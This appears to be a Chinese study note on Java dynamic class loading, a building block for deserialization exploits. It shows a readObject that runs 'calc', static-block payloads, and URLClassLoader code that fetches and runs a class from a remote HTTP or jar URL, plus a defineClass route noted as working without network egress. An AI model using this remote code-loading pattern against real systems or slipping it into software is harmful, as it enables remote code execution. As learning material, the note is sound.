类的动态加载

  • 什么是类加载?

即虚拟机加载.class文件

在类加载的时候会执行代码

初始化:静态代码块

实例化:构造代码块、无参构造函数

实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public class Person implements Serializable {
// private transient String name; 使用transient 不会被反序列化存储
public String name;
private int age;


public static int id;

//不管调用哪种静态方法 都会调用静态代码块
static {
System.out.println("这是静态代码块");
}


public static void staticAction(){
System.out.println("这是静态方法");
}

//不管调用哪种构造方法 都会调用构造代码块
{
System.out.println("这是构造代码块");
}


public Person(){
System.out.println("这是无参Person");
}
public Person(String name, int age){
this.name = name;
this.age = age;
}

@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

private void action(String act){
System.out.println(act);
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}

创建一个加载类:

1
2
3
4
5
6
7
package bli_seri;

public class LoadClassTest {
public static void main(String[] args) throws Exception{
new Person();
}
}

输出:

image-20240818175224166

image-20240818175355644

image-20240818175455674

注意这里的静态代码块仅会在初始化时执行一次,因为刚刚在测试的时候 打算一次输出,但是发现只会产生一次

image-20240818180458308

动态类加载方法:

Class.forName : 可以选择是否进行初始化 注意!避坑,如果想加载的类在不同包里 一定要加上包名

初始化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package bli_seri;

public class LoadClassTest {
public static void main(String[] args) throws Exception{
//初始化动态注册 方法1
Class c = Person.class;
System.out.println(c);
Class.forName(c.getName());

//初始化动态注册 方法2
Class.forName("bli_seri.Person"); //动态注册 会初始化
}
}

image-20240818182452179

不初始化:

可控:

image-20240818182916914

image-20240818182949563

  • 类加载:

流程:

继承关系:

ClassLoader -> SecureClassLoader -> URLClassLoader -> AppClassLoader

image-20240818193815138

image-20240818194010752

image-20240818194019790

调用关系:

loaClass -> findClass(重写方法) -> defineClass(从字节码加载类)

image-20240818194047205

image-20240818194257017

image-20240818194322863

我们想根据这个底层的原理 实现对任意类进行加载

javac原理:

将源码文件.java 编译成对应的字节码文件.class

下面尝试使用URLClassLoader进行尝试

testCalc文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package TryLoad;

import java.io.IOException;

public class testCalc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}

}
}

注意小锤子是编译 生成.class

image-20240818195741071

放在指定路径下

image-20240818200043632

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package bli_seri;

import java.net.URL;
import java.net.URLClassLoader;

public class LoadClassTest {
public static void main(String[] args) throws Exception{

URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///F:\\tmp\\classes\\")});
Class<?> c = urlClassLoader.loadClass("TryLoad.testCalc");
//初始化 加载静态代码块内容
c.newInstance();


}
}

一定要注意这种有包的路径问题

image-20240818212013968

执行成功

image-20240818195955839

http协议:

有一个避坑点,这个可能在真实利用的场景中没影响,就是idea对本地的url无法发起请求 但是对外部服务器可以正常执行

执行代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package bli_seri;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;

public class LoadClassTest {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://120.xxx.xxx.xxx:7789/")});

Class<?> c = urlClassLoader.loadClass("Test");

//初始化 加载静态代码块内容
c.newInstance();

}
}

文件信息: 也补充一个杀死端口进程的方法

image-20240819111019811

image-20240819110820368

jar协议:

对单独的class文件进行打包 成jar文件

image-20240819111504579

命令:jar -cvf Calc.jar Clac.class

http读取方法:

代码: 注意格式

1
2
3
4
5
6
7
8
9
10
11
12
import java.net.URL;
import java.net.URLClassLoader;

public class tryCalc {
public static void main(String[] args) throws Exception{

URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://120.xxx.xxx.xxx:7789/Test.jar!/")});
Class calc = urlClassLoader.loadClass("Test");
calc.newInstance();
}
}

image-20240819111730156

file读取方法:

文件位置

image-20240819112049482

image-20240819112030160

  • 使用defineClass类加载 方法

1
2
3
4
5
6
7
//使用defineCLass
//后面是根据参数写的 defineClass(String name, byte[] b, int off, int len)
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\Test.class"));
Class cd = (Class) defineClassMethod.invoke(cl, "Test", code, 0, code.length);
cd.newInstance();

image-20240818220056875

通用一些,因为相比于http可以做到不出网

  • Unsafe类加载

image-20240818220518251